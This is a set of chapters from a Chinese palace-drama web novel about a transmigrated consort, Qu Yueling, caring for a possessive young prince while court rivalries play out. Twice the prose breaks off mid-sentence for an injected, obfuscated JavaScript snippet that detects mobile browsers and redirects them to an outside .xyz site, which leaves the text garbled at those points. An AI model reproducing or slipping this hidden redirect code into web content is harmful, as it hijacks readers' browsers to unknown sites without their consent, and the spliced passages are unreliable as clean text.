曲月翎倒反天罡,赶狗似的对他摆摆手:“去吧去吧。” “月翎啊……朕的好月翎!你真是和你姐姐月珠一样善良、体贴、贤惠……”梁怀徽如蒙大赦,迫不及待从椅子上站起,夸了曲月翎好一番,“你好好养病,朕改日再来看你。” 出门时,他又好好叮嘱了一遍宫人,要他们好好伺候曲月翎。 曲月翎闻言真是心情复杂。 其实梁怀徽今晚和他聊的许多话,都让他感慨万千,就比如表扬梁初景的那几句——卫祁皇宫里,皇后所生的大皇子早亡;武将出身的虞贵妃母家势力庞大,她还得宠,不过二皇子在梁怀徽那儿留下了性格冲动的坏印象;四、五两位皇子又不成气候,所以按照目前的情况来看,梁初景是最有资格竞争储君之位的皇子。 即使之后宫里再有新皇子出生,对他的威胁也不大,何况人家梁初景是男主,有主角光环加持,或许仅靠他自己努力,无需他人相助,都能顺利登基为帝。 因此曲月翎给自己总结出了一个好消息和一个坏消息—— 好消息:他不用太过担心三皇子在皇位之争中败落。 坏消息:自己想当男太后,居然比别人想登基当皇帝还难! 毕竟皇宫里多的是没有皇子的嫔妃,梁初景的短板就是他没有一位出身高贵的“母妃”,曲月翎若不能取得他的信任与好感,那么这“太后”的位置,他肯定坐不上去。 果然后妈不好当,男后妈更难做。 曲月翎在病中昏昏沉沉睡去,第二天中午睡醒喝药期间,系统回来了。 它带回来的消息和曲月翎昨天从梁怀徽口中听到的大差不差,不过有个消息倒是今早新发生的。 “昨晚皇帝不是去了丽妃宫里了吗?还在那留宿了。”系统告诉曲月翎,“今天一大早,皇帝就解了丽妃的禁足令。” “我早就猜到了,因为昨天就是我让老登去找丽妃的。” 曲月翎病恹恹地倚着靠枕,有一下没一下地搅着碗里的药汁,觉得温度差不多已经凉到能入口了,就端起来准备喝掉。 可药碗刚到嘴边,那股浓郁苦涩的浓浓中药味就熏得曲月翎干呕了两声。 他将药碗搁回床边的小几上,询问系统:“反正我是顶级牛马,生病了就该硬抗,不能耽误工作,何况没走完剧情我还不会死,那这药我能不喝了吗?它比我的命……不,比容冽的命还苦啊。” 系统一边用后腿蹬着耳朵挠痒痒,一边回他:“死是不会死,但一直生着病你不难受吗?” “忍一忍,干了它吧。”系统劝曲月翎,“你之前不还说要自罚三杯中药给我赔个不是吗?” “从昨天到现在,我已经喝了不止三杯,感觉都快被中药腌入味了,再等一会儿吧。”曲月翎不肯面对现实,他杵着由于低烧仍有些泛红的面颊,声慵调懒地继续打听,“好狗宝,你还有其他消息吗?” “有,而且这个消息你绝对猜不到。” 系统趴到床沿说:“二皇子和五皇子闹起来了。” “五皇子……梁初睿?”曲月翎纳闷道,“他不是二皇子的跟班吗?跟二皇子能闹什么?” 卫祁皇室里所有的皇子曲月翎都见过了,其中五皇子年纪最小,比容冽和梁初景小个两岁左右,脸上的婴儿肥都还没褪去,是个没什么主见的小胖墩,平时就爱跟在二皇子的屁股后面跑。 曲月翎对他的印象,还不如对四皇子梁初恒深。 因为四皇子梁初恒瞧着挺有头脑心机,一看就是那种典型的,会给反派出坏主意的伥鬼,至于五皇子梁初睿,曲月翎只觉得他憨,估计还遗传了丽妃,有种傻愣愣的清澈愚蠢感。 “还不因为昨晚皇帝在丽妃那里留宿了?”系统说,“二皇子觉得是丽妃抢了自己母妃的恩宠,所以今早在崇文馆上课时,他鼻子不是鼻子,脸不是脸的,都快把五皇子吓哭了。” “这死小孩真欠揍!”曲月翎听完就有劲喝中药了,“我得赶紧好起来去收拾他。” 他正欲伸手把小几上的药碗拿起来,忽然听到宫殿外传来一道熟悉的御姐音:“弟弟~越妃弟弟——” “……这声音?” 曲月翎手一抖,差点把药给撒了。 “哎唷,好弟弟,你小心些!”丽妃风风火火地快步进屋,接过曲月翎手里的药碗拿稳,皱眉喝道,“怎么屋里一个宫人都没有,他们是怎么伺候你的?” 大概是大家都害怕吃丽妃的鞭子和嘴巴子,虽然她今天没带鞭子,但她话音刚落,宫人们就哗啦啦跪下了一大片。 曲月翎到底是个现代人,只要是自己力所能及的事,他都基本是自己做,不需要宫人们伺候,加上他的系统是个实体系统,平时要聊天或是商量点什么事,都得把屋里的人都清出去,宫人们不过是听令行事罢了。 于是曲月翎急忙抬手,向丽妃解释:“姐姐,是我让他们出去的。” 结果丽妃见状,立刻把药碗放下了,捧住曲月翎的手开始抚摸:“原来是这样,唉……是我错怪他们了。不过好弟弟啊,你别怪姐姐多嘴,你这身子这么滑嫩……不不不,你这身子这么虚弱,身旁没人照顾是不行的,就算你喜欢清静,也还是得留一个人。” 曲月翎:“……” 曲月翎:“……多谢丽妃姐姐提点。” 他使劲挣了挣,艰难地把自己的手从丽妃掌心里拔了出来。 屋子里还有那么多宫人,丽妃未免也太大胆了吧?真不怕外界传出些梁怀徽的头顶比自己眼睛还绿的风言风语啊? 只是丽妃好像还真不怕。 她满目的恋恋不舍,盯了会儿曲月翎的手,又痴痴去望曲月翎的脸,眼里都快冒出粉红色的爱心了,柔声细语地说:“叫什么‘丽妃姐姐’啊,太生疏了,我姓苗,单名一个妙字,你以后就叫我‘苗姐姐’吧。” “是是是……” 曲月翎顺着她的意思答应道,用病中沙哑的嗓音唤了她一声“苗姐姐”。 不料丽妃陶醉地应了一声:“诶~” 随后还喟叹道:“弟弟叫的可是真好听,难怪徽郎爱来你宫里坐,我也爱来呢。” 曲月翎:“…………” 曲月翎绷不住了,他发现卫祁皇宫里真是卧虎藏龙、人才辈出,能让他接不上话的何止一个皇帝梁怀徽,梁怀徽的女人更是强者中的强者。 他不知道该怎么接丽妃的话,就连忙伸手去拿那碗不久之前他还不想喝的药,想战术性喝水缓解下周遭尴尬的气氛。 谁知指尖还没碰到碗壁,那碗药便又被丽妃拿走了。 “说起来姐姐还没谢过你。”丽妃端起那碗药,“要不是你,我今天还出不来,要被粱怀徵那老王八蛋继续禁足呢。” “来——” “这药不冷不热,温度正合适入口。”丽妃用调羹舀起一勺药汁,送到曲月翎嘴边,“让姐姐喂你喝药吧。” “……” 曲月翎哪敢张嘴? 他甚至连开口说一句“苗姐姐我自己喝就好”都不敢,好在有人帮曲月翎开口了: “阿翎哥哥。”容冽比曲月翎更为嘶哑,听上去还莫名有些阴冷的嗓音在门口响起,“你们在做什么?” 丽妃侧脸望去:“容殿下?” 容冽给她行了个礼:“参见丽妃娘娘。” 丽妃对容冽没有好感,却也没有恶意,颔首示意他免礼。 “原来您在这里。”容冽缓缓抬头,一双黑瞳逆着光时显得分外幽邃,目光深深凝视着丽妃,平静道,“我还以为您在五殿下那呢。” 这话没头没尾,丽妃听完便皱起了眉:“睿儿他怎么了吗?” “我也不是很清楚,但我看见二殿下推了他一把。”容冽语气无澜,没有丝毫起伏地复述事实,“然后三殿下就带着他去看御医了,徐老师也提前结束了授课。” “什么?!梁初锋,小杂种!你敢动我儿子!” 丽妃勃然大怒,把碗往小几上重重一砸,连声道别都没想得起和曲月翎说,便急匆匆走了。 而丽妃一走,容冽就接替她坐到了曲月翎身边,还同样抢在曲月翎伸手之前,就把小几上药碗拿了起来。 又一次尝试自己喝药失败的曲月翎:“……” “阿翎哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664162|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥今日身体好些了吗?”容冽眼睫低垂,捏着调羹将药汁慢慢搅匀,看那样子,可能也是打算给曲月翎喂药。 “好很多了,冽儿你呢?”曲月翎看着他颧骨处的淤痕,微微蹙眉,“我怎么瞧着你脸上的淤伤更严重了?你昨日回去后有给自己上药吗?” “没有,我一直担心哥哥,别的事都想不起来。”容冽摇摇头,“所以今日下课后,我就立刻赶来看望哥哥了。” 说着,少年还真舀起了一口药汁,喂到曲月翎嘴边。 他和曲月翎之间还没有男女大防的避讳,见曲月翎不肯张唇,容冽便把调羹压到曲月翎唇上,将青年淡粉色的唇肉压得微微下陷,不得不打开唇缝,露出点雪白的贝齿。 “哥哥为什么不愿喝我喂的药呢?”容冽声音很轻地问,“是因为我照顾不好哥哥吗?” 曲月翎只得先咽掉他喂来的这勺药,再在容冽舀新药汁的间隙和他说:“哥哥没有说你不好的意思,只是这药我自己能喝。” “哥哥自己能喝的话……” 容冽发出灵魂之问:“为什么方才我会看到丽妃在喂你喝药呢?” 曲月翎:“!” 他就知道! 这种事情被看到了就是会引人误会的! “她确实想喂我喝药。”曲月翎试图解释,证明自己的清白,“不过我没有喝她喂的药。” 容冽却又抓住重点追问:“那她为什么想给哥哥喂药?” “我是因为喜欢哥哥、在意哥哥、害怕别人照顾不好哥哥,才想亲手给哥哥喂药。”这回不等曲月翎解释,容冽便将新的药汁送到青年唇边,明明声音轻得和刚才没有任何区别,话语中的压迫感却越来越强,“她也是吗?” 曲月翎不敢说话了,乖乖张嘴喝药。 喝完药后,曲月翎又被容冽摸了摸额头。 想着接下来应该就到躺下掖被角的环节了,曲月翎不知为何高高悬起的心脏回落了一截,刚准备安心躺下休息,谁知下一刻,容冽的话语却如细密冰冷的蛛丝,将他心脏重新吊高,并一点点束缚缠紧。 “如果不是我来了,哥哥在喝完她喂的药后。”容冽的手放在曲月翎额头上没有挪开,他问,“也会给她这样摸的,对吗?” “怎么可能?!” 曲月翎差点把刚喝的药喷出来,他觉得自己冤死了:“我就没想过要喝她喂的药。” 而且丽妃在容冽来之前就摸他手背了! 当然为了避免误会更深,后面这句话曲月翎没说。 “原来是我误会哥哥了。” 容冽听到这里,一直没什么表情的脸上终于吝啬地浮出一个浅笑,那双深井古潭般的黑瞳眸光也微微闪动,仿佛承载着少年几乎要溢出来的期许,他用充满渴望的口吻询问曲月翎:“阿翎哥哥,今晚让我留下来照顾你好吗?” “我昨晚几乎彻夜未眠。” “一想到哥哥病得那么痛苦……我就恨不得替哥哥生病。”容冽没有给曲月翎走流程掖被子,他反而死死拽紧了曲月翎的袖角,“那些宫人不像我这般在乎哥哥,他们又怎么能照顾好哥哥你呢?” 听着容冽的大孝之言,曲月翎十分感动,然后拒绝了:“可是冽儿,你既然昨夜一整晚没睡,今晚就更应该好好休息啊,哥哥这里多的是宫人照顾我,你就……” 容冽是很孝,但他此刻不笑了。 他打断曲月翎的话,唇角瞬间抿平,因表情变化太快而牵动了脸上的长疤,使得少年的目光和脸庞,在那一刹都变得扭曲而阴郁:“哦,哥哥是不愿意?” “愿意是愿意的。”曲月翎说出了拒绝人时的经典转折词,“不过……” “嚓——!” 一道裂帛的脆响从曲月翎手腕处传来,他低头一看,原来是容冽拽他袖角的力道太大,都直接把他的袖子给拽断了。 而容冽也垂下长睫,睨着自己指尖的那截白缎寝衣碎布,嗓音幽冷道:“也是,我这样笨手笨脚的人,又怎么配照顾哥哥呢?” 可曲月翎对他的孝子滤镜太深了,在曲月翎眼中,容冽这是在为被自己拒绝而感到伤心失落呢,当即就安慰容冽道:“没事没事,哥哥本来就是断袖。” “你今晚想留下来就留下来吧。”他还改了口,说,“不过你得答应哥哥,你今晚要好好休息,不能太过劳累。” 容冽闻言重新笑起:“我一定听哥哥的话。” 实际上,曲月翎没把容冽说要照顾自己的话太当真。 他觉得小孩子嘛,每天早起上课,昨夜又没睡好,今晚肯定熬不了太久,说不准蜡烛一吹就睡得比自己还死了。 现在的时季天气也不冷,曲月翎便让宫人们搬了条被子给容冽,让他在自己寝殿窗边的贵妃榻上将就睡一晚——主要是容冽也不肯去别的屋子里睡。 以他目前的身高腿长,睡贵妃榻倒也合适,不至于缩手缩脚的。 夜晚,曲月翎洗漱过后,又换了身新寝衣,都躺上床了,然后想起一件事还没做,就对也已经躺上贵妃榻,却仍睁着眼,目不转睛盯着他的容冽招招手。 容冽看到曲月翎的动作,马上掀开锦被,小狗一样地快步跑向他。 16.第 16 章 彼时系统就窝在床柱脚那儿,也准备睡了。 它难得不窝床底下睡,特地把狗窝叼了出来,因为它也不认为容冽一个未成年的小孩晚上真能够照顾好曲月翎,所以才打算睡在外面,半夜瞧瞧曲月翎有没有再发烧,没有就继续睡,有它就要狗叫喊人了。 结果它刚躺好,曲月翎就在床上对容冽招手。 容冽眼里又只看得见曲月翎,跑过来时不小心踢到了它的狗窝,将系统“呲溜”一下连狗带窝踹进了床底。 系统:“……” 系统从床底下幽幽冒出一个黑色的狗脑袋瞪容冽。 容冽却看也不看它一眼,半跪在床榻边沿,抬眸仰视曲月翎:“哥哥怎么了?想喝水吗?我去给哥哥倒。” “不是,我不渴。”曲月翎从枕头旁拿起一个小瓷罐,打开从里面挖出了点淡青色的草药膏,把它抹到容冽的颧骨上,说,“等哥哥给你抹个药再睡。” 药膏化开的感觉是冰凉的,但青年的指腹柔软温热。 容冽望着他,目光描过青年眉心和眼下的红痣,蓦然又想到了那座破庙中骑狮的文殊菩萨。 但不同以往的是,曾经那座菩萨他怎么都看不清面容,如今容冽再回忆,只觉得那座文殊菩萨的眉眼与曲月翎分毫不差。 破庙里的菩萨不会说话。 而他眼前的菩萨却会问他:“好点了吗,还痛不痛?” 容冽想和曲月翎多待一会儿,就撒谎说:“还痛的。” “这个药膏好像得揉开才会有用。”曲月翎闻言调整了下姿势,让出些位置,“冽儿,你上来坐吧,哥哥帮你揉会儿脸。” 容冽听话地起身,伏在曲月翎膝头,嗅着青年发丝和缎衣间淡淡的药香,只想光阴就此停驻,如果流年似水不可止,那让能他死在这一刻也好——死在他心中的菩萨为他低眉,为他垂首,为他抚慰伤痛的这一刻。 “……阿翎哥哥。” 听见容冽喊自己,曲月翎还以为是他给少年揉脸的力道太重,想抬手时,容冽却按住他的手背,不肯让他抽离,还侧头将脸埋进他怀里,闭上眼睛又低低喊了一声:“阿翎哥哥……” 少年的头发与眉眼都深得像墨,曲月翎望着他在自己怀里蹭脸,不知为何,忽然想到了系统在女主钟以窈怀里撒娇的模样,登时笑起,也揉了揉容冽的脑袋:“怎么像小狗一样?” “哥哥说我像狗?”容冽闻言从曲月翎怀里抬起了头,可他却伸手环住了青年的腰肢。 曲月翎点点头:“是的。” 不过才说完,他就感觉自己这句话有点像在骂人,连忙解释:“但我没有骂你的意思。” “我知道,我还知道哥哥很喜欢狗。”容冽单手撑着床榻直起上身,把脸靠到曲月翎肩头,邃深的黑眸紧紧凝着他说,“所以我像小狗的话,哥哥也会喜欢我的,对吗?” 曲月翎一只手穿过少年森冷的乌发,温柔地摸着他后脑,另一只手则放到他脊背上,哄慰般地慢慢抚着:“冽儿这么听话,你不像狗哥哥也喜欢你。” 容冽的脊骨不知第几次僵住:“……哥哥其实只用说后半句话就够了。” 曲月翎疑惑:“你不像狗?” 容冽:“……” 像儿子是吧? 瞧着少年那副心有不甘却无计可施的表情,曲月翎又弯唇笑了起来,缀在耳垂上的雀翎随他轻笑微微晃动,像是一根羽毛拂过容冽心尖。 溶溶月色下,盈盈烛光里,容冽听到他对自己说:“哥哥也喜欢你。” 听清青年话音的那一瞬,容冽几乎是难以自抑地颤抖了起来,他心想:是的,这就是他想听见的话语。 只要曲月翎能一直喜欢他、无论是给曲月翎当儿子还是当狗,他都可以。 只要曲月翎能永远在乎他,他就愿意为曲月翎做任何事,哪怕曲月翎是要他去死,他也能眼睛都不眨地斩下自己头颅,给曲月翎踩在脚底玩。 ——只要曲月翎一直喜欢他、永远在乎他。 以前容冽不明白,为什么他要的明明不多,却没有人肯施舍给他,甚至连骗骗他都不愿意。 现在容冽懂了,因为那些人看他,就像在看墙角的一道阴影,或是阶上的一抹青苔。 他们要么目不斜视地路过他,走进春煦中;要么不以为意地踩着他,登上更高处。 除了曲月翎。 曲月翎会为他驻足,会为他停步,会弯下腰来问他:你在这里还好吗?我看你被晒得快要枯萎了,要不要我给你浇一点水呀? 容冽凭借着他给予自己的雨露,缓缓爬上所有台阶,再渐渐爬满院宫墙,最后爬到曲月翎身畔,缠着青年恩将仇报地说:“我死都不会放过你的。” 不过他的声音很轻,曲月翎只能看见容冽嘴唇在动。 于是曲月翎低下头,附耳过去细听:“冽儿你说什么?” “我说……”容冽也朝他挨近,用嘶哑阴冷的嗓音在曲月翎耳侧低语,“哥哥对我真好,我也最喜欢阿翎哥哥了。” “行了行了,快去睡觉吧。”曲月翎笑着把几乎要整个人都黏到自己身上容冽轻轻推开,“晚安。” 容冽问他:“‘晚安’是什么意思?” 其实容冽听得出来,这应该是一句专门用在夜晚道安的问候,可他想再跟曲月翎多聊几句话,就装作什么都不懂,追问青年:“这是小宛那边的问候语吗?” “是问候语,但不是小宛的。”曲月翎也不知道该怎么跟容冽解释,想了想,他用自己小时候从妈妈那听来的说法,告诉容冽,“你可以理解为:‘希望明天也能见到你’的意思。” “我也好喜欢这句话。”容冽朝曲月翎乖乖笑着,语气温驯道,“阿翎哥哥,晚安。” . 三更天时,系统醒了。 它张嘴打了个哈欠,接着就从床底下爬出来,准备去瞅瞅曲月翎的情况,谁知刚探出脑袋,它就在窗边的贵妃榻那儿,看到了一双阴邪诡异,泛着荧荧冷光的眼瞳。 定神一瞧,原来是容冽还没睡,他正睁着眼睛,像具死不瞑目的尸体,一眨不眨盯着曲月翎。 而银色的月光透 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确认青年体温正常后,容冽又去桌边倒了杯温水,沾湿帕子,帮曲月翎润了润因生病而显得有些干燥和苍白的嘴唇。 最后,他发现曲月翎睡觉不老实,踢了被子,一截皓如新雪的脚踝露在外面。 容冽便走到床尾,握住青年纤细微凉的脚腕,将其捂暖后再把它推回被子里掖紧盖好。 做完这一切,容冽才回到床上重新躺好。 期间他的所有动作几乎都没发出太大的声响,细致妥帖,轻柔安静。 若非要鸡蛋里挑骨头,挑点毛病出来,那就是容冽在确认过曲月翎的体温后,没有立刻将手掌从青年额头上拿走,还用指腹摩挲了会儿他眉心的红痣,随后抚着青年挺直的鼻骨,一路下移,又碰了碰他眼底泪珠似的红痣。 系统看不懂容冽这是在干嘛,但摈除这点外,其他步骤都让系统看得目瞪口呆、叹为观止。 并且后半夜,无论系统几时醒来——四更天、五更天,它都能看见容冽起床检查曲月翎睡得好不好?有没有踢被子? 而五更天最后一次看完曲月翎的情况后,容冽就起床了,他得回藩客馆去洗漱换衣,再到国子监去上早课。 临走前,系统在门口那竖起耳朵,还能偷听到容冽嘱咐外头伺候的宫人,要每个时辰都来看看曲月翎,避免青年发热病倒却无人知晓的情形再度发生。 至此,目睹全程的系统心中只有一句话:什么叫男妈妈啊?这才叫男妈妈! 活该曲月翎当不了男太后,他对男主三皇子的仔细和上心程度,连容冽对他的十分之一都没有啊! 因此中午曲月翎睡醒后,系统就趴到床沿,对曲月翎说:“宿主,你不行啊。” 是男人都听不得“不行”两个字,刚睁眼就得到系统这句评价的曲月翎一头雾水:“我怎么就不行了?” “这是太医说的吗?”曲月翎满脸难以置信,“我病得竟然这样重?” 17.第 17 章 区区三十个糖耳朵,就将他害到这种地步了吗? “再也不吃糖耳朵了!” 曲月翎痛心疾首地说:“以后改吃糖油果子。” 系统:“?” “……都这样了你还要吃啊?”系统那张狗脸上也出现了难以置信的表情,“你是凶兽饕餮转世,还是在逃暴食魔王?” “反正我也用不上,不行了就不行了呗,不行了也不影响我走剧情。”曲月翎认为这件事问题不大,“而且我不吃,女主也得吃啊,我主要是先帮她尝尝好不好吃。” “吃不死就往死里吃是吧?”狗随其主,系统如今已经快把曲月翎毒舌的样子完全学去了,“不过我说的你‘不行’,是指你当男妈妈不太行。” 然后系统滔滔不绝,连蹦带跳比划着给曲月翎生动形象地描述了下容冽昨晚是怎么照顾他的。 曲月翎听罢感动之余,还和系统认真讨论:“狗宝,有没有一种可能,容冽照顾我的行为,可以用‘孝’字来概括呢?” 系统陷入沉思:“……你说的也不无道理。” 最终一人一狗达成一致看法:比起男妈妈,容冽更像大孝子。 “唉……为什么容冽不是男主呢?”系统两只前□□叉,把脑袋搭在上面,又一次扼腕叹息,“如果他是男主,那你们就是一对‘母慈子孝’的亲子典范啊。” “……是‘父慈子孝’。”纠正完系统话里的错误之处后,曲月翎同样叹气道,“但我觉得这也不好说,毕竟还有一句话,叫‘久病床前无孝子’,万一以后容冽对我的亲情变质了呢?” 系统闻言却觉得无所谓:“变质就变质呗,最多变得叛逆点,不爱孝了。” “不,容冽那么乖,我感觉他是不会变质的。”曲月翎现在不容许任何人说他冽儿的不好,“以后还是少生些病吧。” “你少吞几个糖耳朵就行。”系统说,“糖油果子也不能吞。” “……知道了知道了。” 或许是昨晚容冽把他照顾的太好,曲月翎感觉今天醒来后,除了嗓音还没完全恢复,身上已经没有太多不适了。 他拖着虚软的身体下地更衣:“穿书这么久了,该走的剧情却毫无进展,再这么下去,我们俩都得喝苦瓜汁,真不能再躺了。” “你喝吧,我没这福气。”系统肃声道,“因为我有预感,我的后空翻马上就要练成了。” 曲月翎给它竖起大拇指:“真练成了你就是这个。” 系统身行力践,立刻跑到栖月宫花园里,继续勤奋地苦练后空翻。 宫人瞧见后十分纳闷,来找了曲月翎,委婉地问他:要不要派人去兽苑请个兽医来瞧瞧双马尾这是怎么了? 曲月翎摆手说不用,双马尾只是在玩,接着真叫宫人们去准备了两盒糖油果子——一盒给容冽,一盒给梁初景。 给容冽的那盒,他还偷偷多塞了点,毕竟容冽孝。 待快到皇子们下课的时间点了,曲月翎就拎起两盒糖油果子出门,前去崇文馆接人。 他刚病愈,身体羸弱,无法久站,便在临柳湖边的小石桌那暂坐,打算等看见三皇子容冽他们出现在崇文馆外了,自己再起身过去。 而双马尾陪他等了一会儿,突然说想去上厕所。 曲月翎让它去,谁知没过太久,系统又狂奔不停跑回来了,还给曲月翎带回来了几条重要消息——一,丽妃又被禁足了;二,丽妃被禁足是因为昨天她从曲月翎的栖月宫离开后,去打了二皇子一顿;三,二皇子的生母虞贵妃,如今正往崇文馆方向这边来,看那架势,绝对是来兴师问罪的。 可她若要问罪,不是应该去找丽妃吗?怎么会往崇文馆这边来呢? “不会是来找男主的吧?”系统说,“毕竟整场事件最初的起源,就是梁初景和二皇子打了一架。” “有可能……” 曲月翎皱起眉,低喃完这一句就立刻站起,却因为起身太快,眼前蓦地一黑,整个人往后倒去。 宫人们赶紧搀扶住他:“……翎公子?” 曲月翎借着近侍谭乐的手臂稳住身体,抬眸朝前望去,便见虞贵妃的御辇已然来到崇文馆附近。 由于皇后免去了他的日常请安,加上曲月翎每天不是去找梁初景,就是在去找梁初景的路上,所以今时今日,曲月翎才第一次真正见到这位传闻中的虞贵妃。 和一般大部分人想象中宠冠六宫,雍容华贵的贵妃经典形象不同,虞贵妃的衣着妆扮,会让人在第一眼瞧见她时,联想到“静”“贤”等封号的嫔妃。 她身穿一袭紫衣,身上没有任何金饰,耳侧缀着莹润的紫玉丁香,发间则簪了真丁香花,从御辇上走下时莲步轻移的样貌,真与神仙妃子无异。 但曲月翎相信一个真理:每个熊孩子背后都会有一个更熊的家长。 不论虞贵妃看上去多么无害温柔,能纵养出二皇子这样性情顽劣的儿子,她就绝不会是什么善茬。 果不其然,今日下课,第一个冲出崇文馆的人就是二皇子,他昨天肯定吃了丽妃的嘴巴子,因为他双颊一左一右赫然挂着两个大巴掌印,看得曲月翎不禁也摸摸自己的脸,心有余悸地吸了口凉气。 而二皇子瞧见自己母妃来了,马上欣喜地笑起,不过笑的时候扯到脸上的伤,笑容有些扭曲。 “母妃!”他三步做两步跑到虞贵妃背后。 虞贵妃却一眼都没看他,只面无表情注视着前方,继续望着从崇文馆内陆续走出的皇子们。 四皇子约莫是紧跟着二皇子出来的,瞅见虞贵妃时愣了下,小心翼翼和她行了个礼问安,虞贵妃却也跟没看见他这个人似的,吝于给他一道余光。 五皇子作为丽妃的儿子,也知晓自己母妃因给自己出气,打了二皇子几个耳光被禁足的事,所以他以为今日虞贵妃是冲自己来的,当即就吓红了眼睛,害怕地连连倒退,躲到昨天保护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692967|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的三皇子梁初景身旁。 “三皇兄……”五皇子紧紧揪着梁初景的衣角,说话时声音含含糊糊的,像是舌头肿了。 梁初景本来是走在后面的,因为他在想法设法找话题和容冽搭话,可惜容冽就跟庙里的泥胎石像一般,别说开口了,那沉默阴郁的模样,甚至会让人怀疑他到底会不会喘气儿。 见状,梁初景也以为虞贵妃是冲自己或五皇子来的,就向前迈了一步,将五皇子护到自己身后,朝虞贵妃规规矩矩地行礼:“儿臣见过虞母妃。” 虞贵妃勾起唇角,笑意却不达眼底,嗓音清冷:“三殿下如今倒确实如陛下所言,懂事明理多了。” 梁初景依旧谨慎回话:“虞母妃谬赞了。” “怎么会是谬赞?”虞贵妃嗤笑一声,讥讽道,“只是我对你了解不深,误以为你没母妃豢养,不懂这些礼仪教养呢。” 曲月翎从前一直觉得自己讲话难听,容易得罪人,穿书后仗着自己是“宠妃”人设才自我放飞,口无遮拦,结果虞贵妃一张嘴,曲月翎才明白,自己还是太过收敛了。 要知道,“豢养”一词常用来指喂养牲畜,虞贵妃这么说,翻译翻译就是在骂梁初景有娘生没娘养,活像畜生。 而“母亲”又是大多数人不可触碰的逆鳞,所以听到虞贵妃如此侮辱自己的生母,梁初景霎时就变了脸色,怒极反笑:“那看来虞母妃将二皇兄豢养得很好,毕竟我这些礼数都是跟他学的。” 虞贵妃闻言微微眯起眼睛,纤步翩然走向梁初景,手臂也抬了起来。 “贵妃姐姐——” 曲月翎以为她这是要打梁初景了,赶忙现身,从临柳湖畔赶过来,挡到虞贵妃和梁初景两人之间。 “越妃?”虞贵妃的视线在曲月翎和梁初景身上来回转了一圈,挑眉问,“怎么?以为我要打三殿下,特地来护着他啊?” 曲月翎心里当然是这么想的,面上他却只柔柔地笑笑:“我觉得贵妃姐姐不是这种不讲道理的人。” “这种恭维的客套话就不必说了。”虞贵妃继续上前,她身量高挑,和比自己还高出半个脑袋的曲月翎对峙也不落于下风,“放心,我又不是丽妃,不喜欢脏自己的手。” “贵妃姐姐您这话说的。”曲月翎回她,“好像锋儿是什么脏东西一样。” “唉……我不过是觉着三殿下伶牙俐齿,想凑近瞧瞧。”虞贵妃说着,居然还抬手钳住了曲月翎的脸颊,她体态轻盈袅娜,手劲却很大,捏着曲月翎左右看了会儿后,笑得更灿烂了,“现在我仔细一瞧,三殿下那口齿伶俐的模样和越妃你还挺像,若非年龄对不上,我会以为他就是你儿子呢。” ——满宫皆知,梁初景的母亲是因何仅冷宫,又因何去世的。 所以虞贵妃话音刚落,梁初景垂在袖管内的五指便攥紧成拳:“贵妃娘娘,我母妃位分在你之上,若你也懂礼仪教养,就该念及尊卑有序,学着谨言慎行。” 18.第 18 章 将梁初景生母阿鸾追封为皇贵妃的圣旨已经下了,与她相比,虞贵妃的位分确实低了一截。 但一般来说,死人是比不过活人的,尤其阿鸾在皇帝梁怀徽心中,还不是无可取代的白月光那样的存在,否则这“皇贵妃”之位的殊荣,梁怀徽早就给出去了。 而且虞贵妃刚刚骂的那么难听,她也绝不可能对梁初景母亲有什么敬畏之心。 只是她的心思令人捉摸不透。 听完梁初景的话,她先是一言不发推开曲月翎的脸,取出一条白帕细擦了擦手,再把这条白帕扔到脚下踩住,随后笑着朝梁初景福身,对他行了个他不该受的礼,垂眸敛目恭顺道:“是是是,三殿下教训的是。在这宫里,谁都得谨言慎行,妾身得学,其他人更得学。” “容冽——” 虞贵妃重新抬眸,目光睨向始终沉默,疏离人群的黑衣少年,询问他:“你说是不是?” 看到这里,曲月翎才陡然明白,虞贵妃今天居然是冲着容冽来的。 “这关容三殿下什么事?”曲月翎立刻移形换位,从梁初景那挡到了容冽面前,截住虞贵妃望向少年的视线,“他是个很识礼数的好孩子。” “他识礼数?越妃,如果我没记错,前些日子,容冽才因言行无状被陛下惩罚,如今日日要去你宫里请安赔罪呢。”虞贵妃微笑着走到五皇子身旁,俯身一下一下拍着他的小脸,力道一次比一次重,“况且初睿和我儿一向要好,而丽妃妹妹性子虽是躁了些,却也向来知分寸。” 五皇子很怕虞贵妃,吓得躲也不敢躲,还是梁初景把他往自己身后揽护住,虞贵妃这才停了手。 “瞧,初睿这么乖。”她迤迤然回身转正,和曲月翎对视,“昨日若无容冽在丽妃面前搬弄是非,何至于闹出这么多事端?” “所以我当然得教教容殿下‘祸从口出’这四个字怎么写,也望其他人……” 说“其他人”三个字时,虞贵妃又扭过头,定定望着梁初景,意有所指道:“引以为鉴,以后在宫中时刻铭记‘慎言谨行’。” 事情发展到这,梁初景也算弄明白了,虞贵妃这是要杀一儆百——他想和容冽交好的事,明眼人都看得出来,而那日他和二皇兄打架,也是为容冽出头。 其前因后果,虞贵妃一定了解得很清楚。 而昨天下午二皇兄又欺负上了五皇弟,推了他一把,害五皇弟跌倒咬伤了自己的舌头,事后,丽妃为了替自己儿子出气,便去打了二皇兄一顿。 可他和五皇弟皆是皇子,虞贵妃不好光明正大对他们动手,以免落人口实,对容冽就没那么多顾忌了。 